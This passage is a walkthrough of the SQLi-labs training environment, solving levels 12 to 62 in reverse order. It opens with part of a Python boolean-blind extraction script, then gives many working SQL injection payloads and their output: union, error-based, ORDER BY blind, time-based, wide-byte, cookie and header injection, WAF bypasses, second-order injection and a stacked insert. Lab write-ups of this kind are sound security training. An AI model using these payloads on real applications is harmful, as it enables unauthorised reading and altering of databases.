timeout=TIMEOUT, verify=VERIFY) for i in range(1, 10):# iterate over the characteristic values 1-9, for(1,10) s1 = \u0026#39;Your Login name : \u0026#39; + charIndexSet[i]# \u0026#34;Dumb\u0026#34; e1 = \u0026#39;Your Password : \u0026#39; + charIndexSet_rev[i]#admin4 if( resp.text.count(s1) \u0026gt; 0 and resp.text.count(e1) \u0026gt; 0): # If the page contains the current characteristic value, its index is taken as the value of the corresponding digit (0-9) # e.g. if the page contains both Angelina and dhakkan, this digit is 1 asciiValue[k] = str(i) # 0 is the ones digit, 1 is hundreds and tens break else: asciiValue[k] = \u0026#39;0\u0026#39; continue foo = int(asciiValue[0] + asciiValue[1] + asciiValue[2])# e.g. \u0026#39;4\u0026#39;+\u0026#39;9\u0026#39; =\u0026gt; 49, \u0026#39;10\u0026#39;+\u0026#39;2\u0026#39;=102 flag += chr(foo) #chr(49)=\u0026#39;1\u0026#39; print(\u0026#34;[-]current content is:{}\u0026#34;.format(flag)) if flag != \u0026#39;\u0026#39;: return flag else: print(\u0026#34;[!]req2getOneChar ERROR!\u0026#34;) # step 1: get the table names def getTables(): # P79FGLN0JK payload = \u0026#39;\u0026#39;\u0026#39;(select group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573)\u0026#39;\u0026#39;\u0026#39; table_name = req2getOneChar(xurl=url, payload=payload, start=1, end=table_name_len) print(\u0026#34;[-]table_name is:{}\u0026#34;.format(table_name)) return table_name def getColumn(): \u0026#39;\u0026#39;\u0026#39; Get the column names, -------------------------- content id,sessid,secret_Y1P6,tryy ↑ ↑ position 11 21 -------------------------- \u0026#39;\u0026#39;\u0026#39; # step 2: get the column names payload = \u0026#39;\u0026#39;\u0026#39;(select group_concat(column_name) from information_schema.columns where table_schema=0x6368616c6c656e676573 and table_name={table})\u0026#39;\u0026#39;\u0026#39;.format(table=str_to_hex(table_name)) column_name = req2getOneChar(xurl=url, payload=payload, start=11, end=21) if \u0026#34;secret\u0026#34; in column_name: print(\u0026#34;[+]column_name is:{}\u0026#34;.format(column_name)) return column_name else: print(\u0026#34;step2 failed!\u0026#34;) # reset the attempt counter sess.get(url=reset_url, verify=VERIFY) # exploit table_name = getTables() column_name = getColumn() # step 3: get the flag payload = \u0026#39;\u0026#39;\u0026#39;(select {} from {})\u0026#39;\u0026#39;\u0026#39;.format((column_name), (table_name)) flag = req2getOneChar(xurl=url, payload=payload, start=1, end=flag_len) print(\u0026#34;[+]FLAG is:{}\u0026#34;.format(flag)) Less-62:Challenge-9 boolean injection, close char is '), via /Less-62/?id=1') and 1=2 -- -and/Less-62/?id=1') and 1=1 -- -\nReference script: https://github.com/hi-unc1e/some_scripts/blob/master/boolean_sqli_exp.py\nThe run result is shown below — satisfying\nLess-61:Challenge-8 close_chars is ')) , can be mounted via /Less-61/?id=1')) and 1=2 -- -\nso adjust my exploit script, get the flag\u0026hellip;\n[+]table_name is:UX9CUK2CIC [+]column_name is:secret_9BN9 [+]flag is:l55fc3v4TvJZk7GAspprtOAh\texp $ /root/TODO/sqli-lab/blind-sqli/venv/error_based_exp.py [+]table_name is:OTTEP9Q92I [+]column_name is:secret_GRH1 [+]flag is:mcnTThCOxqzeD2ok8CJgKjfn Less-60:Challenge-7 The closing character is \u0026quot;)\n# /Less-60/index.php?id=1\u0026#34;) and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573),0x7c))%20 -- - XPATH syntax error: \u0026#39;|3BYH4G78SZ|\u0026#39; # /Less-60/index.php?id=1\u0026#34;) and extractvalue(rand(),concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_schema=0x6368616c6c656e676573 and table_name=0x3342594834473738535a),0x7c))%20 -- - XPATH syntax error: \u0026#39;|id,sessid,secret_Y1P6,tryy|\u0026#39; # /Less-60/index.php?id=1\u0026#34;) and extractvalue(rand(),concat(0x7c,(select secret_Y1P6 from 3BYH4G78SZ),0x7c))%20 -- - XPATH syntax error: \u0026#39;|uwpeCvsrLcadsa8P7wSn9Ix4|\u0026#39; Less-59:Challenge-6 Less than 5 attempts\nError-based injection, integer-type injection point, no closing character needed\n# /Less-59/index.php?id=1 and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573),0x7c))%20 -- - XPATH syntax error: \u0026#39;|MDAMM2TQC0|\u0026#39; # /Less-59/index.php?id=1|| extractvalue(rand(),concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_schema=0x6368616c6c656e676573 and table_name=0x4d44414d4d3254514330),0x7c))%20 -- - XPATH syntax error: \u0026#39;|id,sessid,secret_8OOF,tryy|\u0026#39; # /Less-59/index.php?id=1 ||extractvalue(rand(),concat(0x7c,(select secret_8OOF from MDAMM2TQC0),0x7c))%20 -- - XPATH syntax error: \u0026#39;|CoyCW2IfA9AcJ0hkK2qLNC9v|\u0026#39; Less-58:Challenge-5 Error-based injection; a single quote closes the statement\n# poc /Less-58/index.php?id=2\u0026#39; or extractvalue(rand(),concat(0x7c,(version()),0x7c) )-- - # /Less-58/index.php?id=0\u0026#39; || extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573),0x7c))%20 -- - XPATH syntax error: \u0026#39;|BOE8SLA8JQ|\u0026#39; # /Less-58/index.php?id=0\u0026#39; || extractvalue(rand(),concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_schema=0x6368616c6c656e676573 and table_name=0x424f4538534c41384a51),0x7c))%20 -- - XPATH syntax error: \u0026#39;|id,sessid,secret_FQB6,tryy|\u0026#39; # /Less-58/index.php?id=0\u0026#39; || extractvalue(rand(),concat(0x7c,(select secret_FQB6 from BOE8SLA8JQ),0x7c))%20 -- - XPATH syntax error: \u0026#39;|B0vjwa55UVF1zg6dk82s5YB7|\u0026#39; Less-57:Challenge-4 The closing character is \u0026quot;\n# /Less-57/index.php?id=0\u0026#34; union select 11,22,group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573 -- - Your Password:ABM2UNYI3Q # /Less-57/index.php?id=0\u0026#34; union select 11,22,group_concat(column_name) from information_schema.columns where table_schema=0x6368616c6c656e676573%20 and table_name=0x41424d32554e59493351-- - Your Password:id,sessid,secret_6DIE,tryy # /Less-57/index.php?id=0\u0026#34; union select 11,22,group_concat(secret_6DIE) from ABM2UNYI3Q-- - Your Password:tZu9ubeDFgkGhooKCpNZcxwI Less-56:Challenge-3 Get the result within 14 attempts\nThe closing character is ')\n# /Less-56/index.php?id=0\u0026#39;) union select 11,22,group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573 -- - Your Password:EBO6LSIRQE # /Less-56/index.php?id=0\u0026#39;) union select 11,22,group_concat(column_name) from information_schema.columns where table_schema=0x6368616c6c656e676573%20 and table_name=0x45424f364c5349525145-- - Your Password:id,sessid,secret_4UZO,tryy # /Less-56/index.php?id=0\u0026#39;) union select 11,22,group_concat(secret_4UZO) from EBO6LSIRQE-- - Your Password:8amWDI2U8nxTFu6BqEDF7WlM Less-55:Challenge-2 The result must be obtained within 14 attempts\n/Less-55/?id=2-1 reveals this is an integer-type injection point\n# # /Less-55/index.php?id=0) union select 11,22,group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573 -- - Your Password:Q5X3TPYWK7 # /Less-55/index.php?id=0) union select 11,22,group_concat(column_name) from information_schema.columns where table_name=0x59414e52364d46534453 and table_schema=0x6368616c6c656e676573 -- - Your Password:id,sessid,secret_IIJI,tryy # /Less-55/index.php?id=0) union select 11,22,secret_IIJI from Q5X3TPYWK7 -- - Your Password:yTWvRRHETnXIo38rWajAOFb4 Less-54:Challenge-1 The objective of this challenge is to dump the (secret key) from only random table from Database (\u0026lsquo;CHALLENGES\u0026rsquo;) in Less than 10 attempts\nFor fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.\nThe goal of this level is to find the flag in a database called CHALLENGES, with only 10 requests allowed — after ten attempts you must reset, and the table and column names change as a result (random values).\nUnion-based injection\n# poc /Less-54/?id=0\u0026#39; union select 11,22,33 -- - //List the database names # //List the table names # /Less-54/index.php?id=0\u0026#39; union select 11,22,group_concat(TABLE_name) from information_schema.tables%20 where table_schema=0x6368616c6c656e676573-- - Your Password:N9K0T2B5HK //Column names # /Less-54/index.php?id=0\u0026#39; union select 11,22,group_concat(column_name) from information_schema.columns%20 where table_schema=0x6368616c6c656e676573 and table_name=0x4e394b3054324235484b-- - Your Password:id,sessid,secret_ZRYE,tryy //flag # /Less-54/index.php?id=0\u0026#39; union select 11,22,secret_ZRYE from%20 N9K0T2B5HK-- - Your Password:zbEMB0vRz6OS2aawzyvIiT5l Level cleared!\nAlong the way I also reviewed the structure of the information_schema tables\nreference\nhttps://blog.csdn.net/qq_37133717/article/details/93498444 Less-53 - ORDER BY Clause Blind based The closing character is a single quote; with no error output, go straight to the blind-injection payload\n# poc /Less-53/?sort=1\u0026#39;,if(1=1,id,username)-- - Less-52 - ORDER BY Clause Blind based No closing needed — go straight to the blind-injection payload. Both case when then else end and if work; I just personally prefer if\n# /Less-52/?sort=if(left(version(),2)=\u0026#39;5\u0026#39;,username ,exp(999)) [false] no results echoed on the page # /Less-52/?sort=if(left(version(),1)=\u0026#39;5\u0026#39;,username ,exp(999)) [true] results echoed on the page Based on the differences in page output, you can extract the data one character at a time\nLess-51 - ORDER BY Clause Blind based Similar to the previous level, except the statement must be closed on both sides: the front is closed with a single quote, and the back can be closed either with a comment or with a binary operator + single quote (e.g. and ')\nError-based injection\n# /Less-51/?sort=2\u0026#39;,extractvalue(rand(),concat(0x7c,version(),0x7c)) -- - XPATH syntax error: \u0026#39;|5.7.30-0ubuntu0.18.04.1|\u0026#39; Blind injection works the same way\n/Less-51/?sort=0\u0026#39;,if(left(version(),1)=\u0026#39;5\u0026#39;, username,id) -- - Less-50 - ORDER BY Clause Blind based No closing character needed and errors are shown; the differing output of /Less-50/?sort=2,0 and /Less-50/?sort=2,1 confirms the injection point\nUse error-based injection to grab the information\n/Less-50/?sort=2,extractvalue(rand(),concat(0x7c,version(),0x7c)) Boolean blind injection\n# poc /Less-50/?sort=if(1=1, username,id) /Less-50/?sort=if(1=2, username,id) # exp /Less-50/?sort=if(left(version(),1)=\u0026#39;5\u0026#39;, username,id) ... Less-49 - ORDER BY Clause Blind based To run blind injection against ORDER BY, you not only need to check whether a single quote is required to close the statement, but also remember to add the comma!\n# poc /Less-49/?sort=\u0026#39;,USERNAME -- - /Less-49/?sort=1\u0026#39;,IF(1=1,`username`,0) -- - ## The two below differ in ordering /Less-49/?sort=1\u0026#39;,IF(length(version())\u0026gt;119,`username`,0) -- - /Less-49/?sort=1\u0026#39;,IF(length(version())\u0026gt;9,`username`,0) -- - # exp /Less-49/?sort=1\u0026#39;,IF(length(version())=23,`username`,0) -- - /Less-49/?sort=1\u0026#39;,IF(left(version(),1)=\u0026#39;5\u0026#39;,`username`,0) -- - /Less-49/?sort=1\u0026#39;,IF(left(version(),2)=\u0026#39;5.\u0026#39;,`username`,0) -- - ... /Less-49/?sort=1\u0026#39;,IF(left(version(),23)=\u0026#39;5.7.30-0ubuntu0.18.04.1\u0026#39;,`username`,0) -- - Less-48 - ORDER BY Clause Blind based Boolean blind injection POC\n# /Less-48/?sort=1,0 no output # /Less-48/?sort=1,1 output present For the exploit, either case when [query] then [1] else [2] end or IF([query], [1], [2]) works\nNote the [1] [2] positions cannot be numbers — not even with backticks. Only strings, such as test # exploit to extract data ## /Less-48/?sort=if(length(version())\u0026gt;99,username,1) order is 8 9 10 ## /Less-48/?sort=if(length(version())\u0026gt;1,username,1) order is ascending 1-9 Exploiting the different result orderings when the [query] statement is true/false, you can extract the data one character at a time\nLess-47 - ORDER BY Clause-Error-Single quote order by 1 and order by '1' are different — meaning single quotes won\u0026rsquo;t work. But backticks ``` do (case-insensitive)\nAdding a single quote errors out, so the closing character must be a single quote; use a binary operator to close the statement\n# /Less-47/?sort=\u0026#39; and extractvalue(0x20,concat(0x7c7c,version(),0x7c7c)) ||\u0026#39; XPATH syntax error: \u0026#39;||5.7.30-0ubuntu0.18.04.1||\u0026#39;\tLess-46 - ORDER BY-Error-Numeric Injection after ORDER BY has the following characteristics\nNo arithmetic can be performed, i.e. sort=2 and sort=(3-1) differ If you directly use if(1=2,1,SLEEP(2)), the sleep time becomes 2 × the number of records in the current table, which amounts to a denial-of-service attack on the server. It\u0026rsquo;s recommended to verify time-based injection with a sub-statement, e.g. if(1=2,1,(select 1 from (select SLEEP(2))x)) # poc ## The results below differ rand(1=2) rand(1=1) Visiting /Less-46/?sort=1,0 reveals something odd; adding a single quote exposes error details in the response\nUse /Less-46/?sort=3-- - to confirm the injection point is numeric — no extra closing character needed\nError-based injection\n# /Less-46/?sort=extractvalue(rand(),concat(0x7c,version(),0x7c))--+- XPATH syntax error: \u0026#39;|5.7.30-0ubuntu0.18.04.1|\u0026#39; Blind injection\n# boolean injection poc # delay injection poc /Less-46/?sort=select 1 from (select sleep(5))x-- - Less-45 - Stacked Query Blind based twist Boolean blind injection; extract data based on differences in the page output\n# poc ## login_user=admin\u0026amp;login_password=adm\u0026#39;) or 11=11 -- -\u0026amp;mysubmit=Login [true] status code 302, redirect to the home page ## login_user=admin\u0026amp;login_password=adm\u0026#39;) or 11=00 -- -\u0026amp;mysubmit=Login [false] status code 200, and contains slap1.jpg, i.e. the source contains \u0026lt;img src=\u0026#34;../images/slap1.jpg\u0026#34;\u0026gt; Less-44 - Stacked Query blind The page shows no error details, only two possible response states; POC below\n# true // It\u0026#39;s a universal password, so it\u0026#39;s true ## login_user=admin\u0026amp;login_password=a\u0026#39;+or+1=1--+-\u0026amp;mysubmit=Login [true] page 302 redirect ## login_user=admin\u0026amp;login_password=a\u0026#39;+or+1=0--+-\u0026amp;mysubmit=Login [false] status code 200 Less-43 - Stacked Query A single quote errors out, and the comment characters are banned\nStill going with error-based injection\nlogin_password=1\u0026#39;+||+extractvalue(0x20,concat(0x7c,version(),0x7c))+or\u0026#39; Less-42 - Stacked Query error based A failed login greets you with bug off hacker — what a trash-talking programmer\nError-based injection\nlogin_password=1\u0026#39; and extractvalue(0x20,concat(0x7c,version(),0x7c)) -- - Stacked-query injection\nSkipped. Didn\u0026rsquo;t feel like building an exploit\u0026hellip;\nBlind injection (boolean + time-based)\n# poc login_password=2\u0026#39;+order+by+3--+-; # exp login_password=0\u0026#39;+union select 1,2,3 from (select sleep(1))x;--+- Less-41 stacked Query Intiger type blind Closing: /Less-41/?id=1 -- -\n# union based /Less-41/?id=0 union select 1,2,3 # blind /Less-41/?id=1 ^ 5 ## POC:null /Less-41/?id=1 and if(1=1,0,1) ## POC:true /Less-41/?id=1 and if(1=1,1,1) Less-40 stacked Query String type Blind /Less-40/?id=1') -- - confirms the closing character is ')\nBoolean blind injection with no output\nUNION BASED — union injection slipped my mind again\u0026hellip;\n# POC /Less-40/?id=0\u0026#39;) union ALL select 1,22,(\u0026#39;33 or /Less-40/?id=0\u0026#39;) union select 1,22,3 -- - # sqlmap poc id=-7067\u0026#39;) UNION ALL SELECT NULL,CONCAT(0x7178627671,0x6b7375687a726b446c4746706e6b4f585273466b7655614d51667851434e7a55666e5671615a794d,0x71626a7671),NULL-- - Less-39 stacked Query Intiger type Error-based injection\n/Less-39/?id=1 and extractvalue(0x20,concat(0x7c,version(),0x7c))-- - Union base injection\n/Less-39/?id=0 union select 11,22,33 delay injection(boolean)\n/Less-39/?id=0 union select 1,2,1 from (select sleep(5))x; Less-38 stacked Query Stacked-query injection\nError-based injection\n/Less-38/?id=1\u0026#39; and extractvalue(rand(),concat(0x7c,version(),0x7c))-- - Union-based injection\n/Less-38/?id=0\u0026#39; union select 1,group_concat(username),group_concat(password) from users -- - Insert a user\n/Less-38/?id=1;insert into users(username,password) values(\u0026#39;stack\u0026#39;, \u0026#39;stack\u0026#39;)%23 Less-37- MySQL_real_escape_string The same error-based injection, just inside a POST request\nPOST ... uname=admin+%df%27or+%27%27%3D%27\u0026amp;passwd=111\u0026amp;submit=Submit Less-36 Bypass MySQL Real Escape String Wide-byte: %df%27 works as a single quote\n# Error-based injection /Less-36/?id=1%df%27%20and%20extractvalue(rand(),concat(0x7c,version(),0x7c))--%20- Less-35 why care for addslashes() Integer-type injection point\nBlind injection\n# /Less-35/?id=1 and 1=1 results returned # /Less-35/?id=1 and 1=2 no results Union-based injection\n# /Less-35/?id=1 order by 3-- - results returned # /Less-35/?id=1 order by 4-- - Unknown column \u0026#39;4\u0026#39; in \u0026#39;order clause\u0026#39; Error-based injection\n/Less-35/?id=1 and extractvalue(rand(),concat(0x7c,version(),0x7c)) Less-34- Bypass Add SLASHES Long live fuzzing: Burp\u0026rsquo;s battering ram mode with the brute forcer payload over 0123456789 gives you 00-99\nEventually you land on a usable value; here %99 is used as an example (%df also works)\n# POST poc ## uname=admin%99%27and+extractvalue(rand(),concat(0x7c,version(),0x7c))--+-\u0026amp;passwd=admin%99%27\u0026amp;submit=Submit XPATH syntax error: \u0026#39;|5.7.30-0ubuntu0.18.04.1|\u0026#39; In fact, you can fuzz all the way from 00 to ff\nLess-33 — for some unknown reason, this level\u0026rsquo;s environment is identical to 32 Skipped\nLess-32 Bypass addslashes() Wide-byte injection: use %df to swallow the backslash \\ added by addslashes(), and error-based injection follows\n/Less-32/?id=1%df\u0026#39; and extractvalue(0x20,concat(0x7c,version(),0x7c))-- - Of course, as long as you can escape the single quote, blind injection works too\n# Blind injection poc /Less-32/?id=1%df\u0026#39;and 1=0 -- - Also, with output on the page, UNION injection works as well\n# Determine the column count with order by ## /Less-32/?id=1%df%27%20order%20by%204%20--%20- Unknown column \u0026#39;4\u0026#39; in \u0026#39;order clause\u0026#39; ## /Less-32/?id=1%df%27%20order%20by%204%20--%20- Your Login name:Dumb Your Password:Dumb https://sec4ever.cn/Less-18/\nLess-31 FUN with WAF Adding a double quote errors out; the comment -- - is not filtered\nGuess the column count # /Less-31/?id=1\u0026#34;) order by 3-- - (normal result) # /Less-31/?id=1\u0026#34;) order by 4 -- - (error) Unknown column \u0026#39;4\u0026#39; in \u0026#39;order clause\u0026#39; Only the closing character differs from the previous level — here it\u0026rsquo;s \u0026quot;). In the end I used union injection + group_concat to pull out all the data in one shot.\n/Less-31/?id=0\u0026#34;)%20 unIOn seLEct 1,group_concat(username),group_concat(password) from users -- - Error-based injection also works; I won\u0026rsquo;t paste the payload here\nLess-30 This level also has a WAF, yet quotes, order by, union select , and comments all work — this WAF is genuinely trash\n# poc /Less-30/?id=0\u0026#34; unIOn seLEct 1,2,3 -- - # union based sqli /Less-30/?id=0\u0026#34; unIOn seLEct 1,group_concat(username),group_concat(password) from users -- - Less-29 Protection with WAF Where\u0026rsquo;s the promised WAF?\n— It filters neither quotes nor and or\nError-based injection — straight in\n# /Less-29/?id=0\u0026#39; or extractvalue(0x20,concat(0x7c,version(),0x7c))-- - XPATH syntax error: \u0026#39;|5.7.30-0ubuntu0.18.04.1|\u0026#39; UNION-based injection\n# Table names /Less-29/?id=0\u0026#39; union select 1,group_concat(table_name,0x20) ,group_concat(table_schema,0x20) from information_schema.tables where \u0026#39;1 # Data /Less-29/?id=0\u0026#39; union select 1,group_concat(username,0x20) ,group_concat(password,0x20) from users where \u0026#39;1 Less-28a Trick with SELECT \u0026amp; UNION # Closing /Less-28a/?id=1\u0026#39;) -- - # Column count /Less-28a/?id=1\u0026#39;)%20 order by 4 -- - # Extract data /Less-28a/?id=0\u0026#39;) Union SELEct 1,2,3 -- - Less-28 Trick with SELECT \u0026amp; UNION I hit some trouble finding the closing character: /Less-28/?id=0' returns nothing; turns out spaces and comments are filtered\nYou should have guessed the closing character is '); close with a logical OR: 1')||('\nSpaces can be bypassed with %09 and %a0, because the regex filtering union+select is preg_replace('/union\\s+select/i',\u0026quot;\u0026quot;, $id);\n# poc closing /Less-28/?id=1\u0026#39;)%09UNion%a0Select%091,2,(\u0026#39;N # Extract data poc /Less-28/?id=0\u0026#39;)%09UNion%a0Select%091,version(),(\u0026#39;3 Your Login name:5.7.30-0ubuntu0.18.04.1 Your Password:3 Less-27a Trick with SELECT \u0026amp; UNION union based injection\n/Less-27a/?id=0\u0026#34;uNIon%A0seleCt%A01,2,\u0026#34;3 bloolean injection\n# /Less-27a/?id=1\u0026#34; and\u0026#34;1\u0026#34;=\u0026#34;1 1 # /Less-27a/?id=1\u0026#34; and\u0026#34;1\u0026#34;=\u0026#34;0 0 Less-27 Trick with SELECT \u0026amp; UNION SELECT and UNION are filtered, but error-based injection works perfectly\n# id=1\u0026#39;or(extractvalue(1,concat(0x5c, (VERSION()),\u0026#39;~\u0026#39;)))=\u0026#39;1\u0026#39;and\u0026#39;1a XPATH syntax error: \u0026#39;\\5.7.30-0ubuntu0.18.04.1~\u0026#39; Trying UNION-based injection requires bypassing the space and comment filters: use mixed case to bypass the keyword filter, and %a0 to bypass the space filter\nGuess the column count\n# With 3 columns, displays normally ## /Less-27/?id=0\u0026#39;uNIon%A0selECt%A01,2,\u0026#39;3 Hint: Your Input is Filtered with following result: 0\u0026#39;uNIon�selECt�1,2,\u0026#39;3 # With 4 columns, error ## /Less-27/?id=0\u0026#39;uNIon%A0selECt%A01,2,3,\u0026#39;N The used SELECT statements have a different number of columns Hint: Your Input is Filtered with following result: 0\u0026#39;uNIon�selECt�1,version(),\u0026#39;3 Union-based injection\n# Keyword mixed case + %a0 + close the single quote with where + group_concat pulls out all the data ## /Less-27/?id=0%27uNIon%A0selECt%A01,group_concat(username),group_concat(password)%a0from%a0users%a0where%a0%271%27^%270 Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 ref\nSQLi-labs SQL injection lab: complete walkthrough of levels 1-65 - Mr. Qing - cnblogs Injection bypass techniques Less-26a Trick with comments Blind injection\n# /Less-26a/?id=0\u0026#39; || \u0026#39;0 no results # /Less-26a/?id=0\u0026#39; || \u0026#39;1 results Less-26 Trick with comments Spaces, comments, and and or are filtered — here\u0026rsquo;s how to handle it\nBypassing the space and comment filters: use %a0 (failed in my testing\u0026hellip;), or use parentheses (), e.g. id=1'and('b')=('b')and'1, wherever a space would be needed (such as when a letter follows and). Note: logical operators cannot be wrapped in parentheses Bypassing the and/or filters: double-write them, i.e. AandND oorr; or use other binary operators such as \u0026amp;\u0026amp; || | ^ \u0026gt; \u0026lt; etc. /Less-26/?id=1\u0026#39;oorr(extractvalue(1,concat(0x5c, (VERSION()),\u0026#39;~\u0026#39;)))=\u0026#39;1\u0026#39;anandd\u0026#39;1a Less-25a Trick with OR \u0026amp; AND Blind Numeric blind injection; and and or are filtered but can be bypassed by double-writing as anandd oorr\n# poc /Less-25a/?id=1 anandd if(lengh(version())=23,sleep(5),1) (brute-forced) confirmed length is 23 # Simple exploit, gets the result /Less-25a/?id=1+anandd+if(\u0026#39;a\u0026#39;=substring(version(),1,1),1,0) Run the blind injection by exploiting the different output when [CASE] in 1 and [CASE] is true vs. false\nUse Burp\u0026rsquo;s Intruder; configuration shown below\n# Payload used for fuzzing 0123456789.-_qwertyuiopasdfghjklzxcvbnm Finally just specify the keyword\nResults come out one character at a time, as shown below\nBut this approach\u0026rsquo;s time complexity is too high; binary search can reduce it to O(log``_n_``). Since 2^8=128 covers all ASCII codes, eight comparisons determine one character. I\u0026rsquo;ll provide a binary-search blind injection script later.\nLess-25 Trick with OR \u0026amp; AND or and and are filtered, but the bypass is easy — any binary operator works, e.g. || \u0026amp;\u0026amp;\nid=1\u0026#39; ^ extractvalue(0x20,concat(0x7c,user(),0x7c)) ^\u0026#39; However, since or can\u0026rsquo;t be used, inf``**or**``mation_schema is unavailable for getting table and column names.\nI tried hex and found it [cannot be bypassed] — learned something new\nBelow is a way to obtain table and column names without information_schema\nFirst get the version, # /Less-25/index.php?id=1\u0026#39; || extractvalue(0x20,concat(0x7c,(version()),0x7c)) ||\u0026#39; XPATH syntax error: \u0026#39;|5.7.30-0ubuntu0.18.04.1|\u0026#39; Then try to get the table names # /Less-25/index.php?id=1\u0026#39; || extractvalue(0x20,concat(0x7c,(select group_concat(0x20,table_name) from mysql.innodb_table_stats where database_name = database() limit 2),0x7c)) ||\u0026#39; XPATH syntax error: \u0026#39;| emails, referers, uagents, use\u0026#39; Column-name-less Injection In higher MySQL versions, INNODB_TABLES and INNODB_COLUMNS also record table structures.\nMySQL 5.6 and above have the innodb_index_stats and innodb_table_stats tables, which contain newly created databases and tables\nselect table_name from mysql.innodb_table_stats where database_name = database(); select table_name from mysql.innodb_index_stats where database_name = database(); ref\nhttps://www.cnblogs.com/20175211lyz/p/12358725.html CTF | MySQL column-name-less injection [SWPU2019]Web1 (second-order injection, column-name-less injection, bypass information_schema) Less-24 - Second Degree Injections Second-order injection: register a username containing the payload at login time; when changing the password, the stored value is used without escaping, causing the injection.\n/Less-24/pass_change.php\n$username= $_SESSION[\u0026#34;username\u0026#34;]; ... if($pass==$re_pass) {\t$sql = \u0026#34;UPDATE users SET PASSWORD=\u0026#39;$pass\u0026#39; where username=\u0026#39;$username\u0026#39; and password=\u0026#39;$curr_pass\u0026#39; \u0026#34;; ... } after changing the password admin\u0026rsquo;s password has been successfully changed\nMost tutorials online stop after changing admin\u0026rsquo;s password. So I tried error-based injection on this injection point — i.e. registering a user whose name is the following payload\n\u0026#39; and extractvalue(0x20,concat(0x7c,version(),0x7c)) and \u0026#39; It complained the username was too long; after some searching, the solutions weren\u0026rsquo;t practical (all required editing php.ini and restarting), so I wrote the following second-order injection script\nref:\nSuccessfully fixed: data too long for column \u0026rsquo;name\u0026rsquo; at row 1 Less-23 Error Based- no comments Comments are stripped, so another way to close the statement is needed. Here the operator \u0026gt; connects the payload; in fact - * | % can all serve as binary-operator connectors. For unary operators, ! ^ etc. can be used\nid=1\u0026#39; and \u0026#39;\u0026#39;\u0026gt;(extractvalue(0x20,concat(0x7c7c,version(),0x7c7c)) ) or \u0026#39; // Binary or unary operator — as long as it closes the statement id=1\u0026#39; and ~(extractvalue(0x20,concat(0x7c7c,version(),0x7c7c)) ) or \u0026#39; Less-22 Cookie Injection- Error Based- Double Quotes - string Cookie injection with double quotes: fuzz directly with Burp\u0026rsquo;s Pitchfork mode — the first position holds the base64-encoded payload, the second a placeholder of the original payload. You can see the double quote \u0026quot; triggers an error\nadmin\u0026#34;and extractvalue(0x20,concat(0x7c7c,version(),0x7c7c))-- - # Likewise, base64-encoded YWRtaW4iYW5kIGV4dHJhY3R2YWx1ZSgweDIwLGNvbmNhdCgweDdjN2MsdmVyc2lvbigpLDB4N2M3YykpLS0gLQ== Less-21 Cookie Injection- Error Based- complex - string Cookie injection, except the payload needs base64 encoding first\nPayload as follows admin\u0026#39;and extractvalue(0x20, concat(0x7c,version(),0x7c)) and \u0026#39; base64-encoded as follows YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgweDIwLCBjb25jYXQoMHg3Yyx2ZXJzaW9uKCksMHg3YykpIGFuZCAn Less-20 Cookie Injection- Error Based- string Cookie injection: after logging in, modify the cookie. Adding a single quote triggers an error, so guess the original statement and build the following payload\nCookie: uname=admin\u0026#39;and extractvalue(0x20,concat(0x7c,version())) -- - Less-19 Header Injection- Referer- Error Based- string Only here did I start getting the hang of it — the same error-based injection in the 'and [payload] and' form, using 0x7c (i.e. |) to stringify the queried content version() for error output\nReferer: 123321\u0026#39;and extractvalue(0x20, concat(0x7c,version(),0x7c)) and \u0026#39; The result is as follows\nXPATH syntax error: \u0026#39;|5.7.30-0ubuntu0.18.04.1|\u0026#39; Less-18 Header Injection- Error Based- string Reading the source revealed the statement structure\n$insert=\u0026#34;INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\u0026#39;$uagent\u0026#39;, \u0026#39;$IP\u0026#39;, $uname)\u0026#34;; But I honestly couldn\u0026rsquo;t figure out why it closes this way\u0026hellip;.\nUser-Agent: \u0026#39;and extractvalue(1,concat(0x7e,(select database()),0x7e)) and \u0026#39; [Follow-up] Figured it out: the final statement is '``'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '``', with our concatenated payload in the middle — it\u0026rsquo;s actually a value produced by participating in a logical AND; that\u0026rsquo;s the trick\nFinally, error-based injection was completed with the following statement,\n7c -\u0026gt; | 3a -\u0026gt; : \u0026#39;and extractvalue(1,concat(0x7e,(select database()),0x7e)) and \u0026#39; Less-17 Update Query- Error based - String Testing shows that when the username is admin, the password field is vulnerable to error-based injection\nLess-16- Blind- Time Based- Double quotes- String Determine the closing character\nUse a subquery to confirm the injection character\nadmin\u0026#34;)or (select 1 from (select sleep(2) )x)-- -1 2-second delay\nLess-15- Blind- Boolian Based- String Neither single nor double quotes produce an error. Knowing the username is admin, the closing character can only be determined by whether login succeeds\nThe closing character is a single quote\nadmin\u0026#39; -- - It\u0026rsquo;s time-based blind injection.\nLess-14- Double Injection- Double quotes- String Adding a double quote errors out, which confirms the closing character is the double quote \u0026quot;; the next step is simply to inject\nWith no output on the page, even though order by confirms two columns of data, UNION leaves only the boolean blind injection route, and floor-based error injection requires at least three rows in the table — clearly not viable here.\nTweak the closing character in the earlier payload for a quick pass\nadmin\u0026#34; and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables limit 1),\u0026#39;~\u0026#39;));-- - Less-13- Double Injection- String- with twist Adding a single quote errors out; the closing character is '). With admin')-- - — unexpectedly a universal password — I logged straight in\nYou could equally just run sqlmap through it. But I chose manual error-based injection — the tail must be closed to get the information out of the error!\n# Dump the version number admin\u0026#39;) and extractvalue(1,concat(\u0026#34;~\u0026#34;,version(),\u0026#34;~\u0026#34;))-- - ... Less-12- Error 